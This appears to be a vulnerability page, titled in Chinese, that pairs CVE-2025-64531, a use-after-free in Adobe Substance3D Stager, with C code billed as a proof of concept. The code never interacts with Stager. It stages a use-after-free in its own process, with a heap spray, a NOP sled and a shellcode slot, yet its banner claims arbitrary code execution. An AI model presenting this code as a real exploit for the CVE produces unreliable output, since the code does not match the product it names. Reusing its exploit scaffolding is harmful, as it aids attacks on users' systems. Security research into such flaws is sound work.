CVE-2025-64531 | Adobe Substance3D Stager 释放后重用漏洞可导致代码执行

// CVE-2025-64531 PoC - Adobe Substance3D Stager Use After Free // This PoC demonstrates the vulnerability trigger mechanism // Note: This is a conceptual PoC for security research purposes only #include <stdio.h> #include <stdlib.h> #include <string.h> // Malicious file header structure for triggering UAF typedef struct { char magic[4]; // File magic number int version; // File version int payload_size; // Malicious payload size char* payload; // Pointer to trigger UAF condition } malicious_file_header_t; // Trigger UAF condition by freeing memory while pointer still references it void trigger_uaf_condition() { char* heap_buffer = (char*)malloc(256); if (heap_buffer == NULL) { return; } // Fill buffer with controlled data memset(heap_buffer, 0x41, 256); // Free the memory (UAF condition created here) free(heap_buffer); // Heap spray technique to reallocate freed memory with malicious content // This allows attacker-controlled code execution char* sprayed_buffer = (char*)malloc(256); if (sprayed_buffer) { memset(sprayed_buffer, 0x90, 200); // NOP sled // Shellcode injection point memcpy(sprayed_buffer + 200, "\xcc\xcc\xcc\xcc", 4); // Breakpoint } // Use after free - accessing freed memory // In real exploitation, this would redirect execution flow printf("Triggering UAF: %s\n", heap_buffer); } int main() { printf("CVE-2025-64531 PoC - Adobe Substance3D Stager UAF\n"); printf("Product: Adobe Substance3D Stager <= 3.1.5\n"); printf("Vulnerability: Use After Free\n"); printf("Impact: Arbitrary Code Execution\n\n"); trigger_uaf_condition(); return 0; }